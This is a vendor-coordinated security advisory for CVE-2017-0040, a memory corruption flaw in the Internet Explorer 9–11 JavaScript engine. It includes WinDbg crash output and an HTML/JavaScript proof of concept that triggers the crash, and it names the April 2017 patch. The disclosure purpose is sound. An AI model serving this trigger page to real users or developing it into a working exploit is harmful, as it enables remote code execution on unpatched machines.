security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer ‘ReverseSegment’ Memory Corruption Vulnerability
CVE	CVE-2017-0040
Vendor Website	http://www.microsoft.com/
Date Released	03/04/2017
Affected Software	Microsoft Internet Explorer 11 Microsoft Internet Explorer 10 Microsoft Internet Explorer 9
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in the Microsoft Internet Explorer JavaScript engine which could allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(98c.a38): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=031c0980 ebx=00000001 ecx=0265b9b0 edx=0265b9af esi=0cb2f02c edi=031c0970
eip=66400713 esp=0302adf4 ebp=0302ae38 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript9!Js::SparseArraySegment<void *>::ReverseSegment+0x1c:
66400713 8b06            mov     eax,dword ptr [esi]  ds:0023:0cb2f02c=????????
1:019> k
ChildEBP RetAddr
0302adfc 6640078f jscript9!Js::SparseArraySegment<void *>::ReverseSegment+0x1c
0302ae38 6630c3ab jscript9!Js::JavascriptArray::EntryReverse+0x105
0302aec8 662975cc jscript9!Js::JavascriptFunction::EntryApply+0x29f
0302af18 6629afd1 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
0302b1bc 66302048 jscript9!Js::InterpreterStackFrame::Process+0x3a10
0302b1f4 663020a7 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x49
0302b498 6629e129 jscript9!Js::InterpreterStackFrame::Process+0x49a8
0302b5bc 02dd0f91 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
WARNING: Frame IP not in any known module. Following frames may be wrong.
0302b5c8 6629df5b 0x2dd0f91
0302b878 6629e129 jscript9!Js::InterpreterStackFrame::Process+0x1e62
0302b9a0 02dd0f99 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
0302b9ac 663cef21 0x2dd0f99
0302b9e4 663cf01c jscript9!Js::compareVars+0x71
0302ba1c 663cee12 jscript9!Js::JavascriptArray::FillFromPrototypes+0x81
0302ba8c 663cebb5 jscript9!Js::JavascriptArray::Sort+0xbd
0302bad0 662975cc jscript9!Js::JavascriptArray::EntrySort+0xa1
0302bb18 6629afd1 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
0302bdbc 66302048 jscript9!Js::InterpreterStackFrame::Process+0x3a10
0302bdf4 663020a7 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x49
0302c098 6629e129 jscript9!Js::InterpreterStackFrame::Process+0x49a8
0302c1d4 02dd0fa1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
0302c1e0 662975cc 0x2dd0fa1
0302c224 66297c48 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
0302c298 66297b7d jscript9!Js::JavascriptFunction::CallRootFunction+0xb5
0302c2e0 66297b10 jscript9!ScriptSite::CallRootFunction+0x42
0302c32c 66374855 jscript9!ScriptSite::Execute+0xd2
```

The following proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<html>
<head>
<META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT" />
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5" />
<script>
o0 = new Object()
t0 = new Map()
a1 = new String()
o1 = new Float64Array()
t1 = new Error()
b2 = new Map()
</script>
</head>
<body>
<script>
a1 = Array.prototype.slice.apply(a1, []);
m2 = this.t0[this.o0.v1];
f0 = (function() { try { Array.prototype.reverse.apply(a1, [b2, this.f1]); } catch(e0) { } try {
a1.unshift(m2); } catch(e1) { } a2.shift(); });
o2 = t1[({valueOf: function() { x;return 14; }})];
this.a1.splice(NaN, ({valueOf: function() { a1[11] = this.b0;return 10; }}));
a2 = [];uneval(h0);
a2.unshift(a1, o1, o2);(true);
for(let c in "\uA999") {a2.sort((function() { for (var j=0;j<35;++j) { f0(j%5==0); }
}));this.a1.unshift(s1); }
</script>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch in the April 2017 Security Updates to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com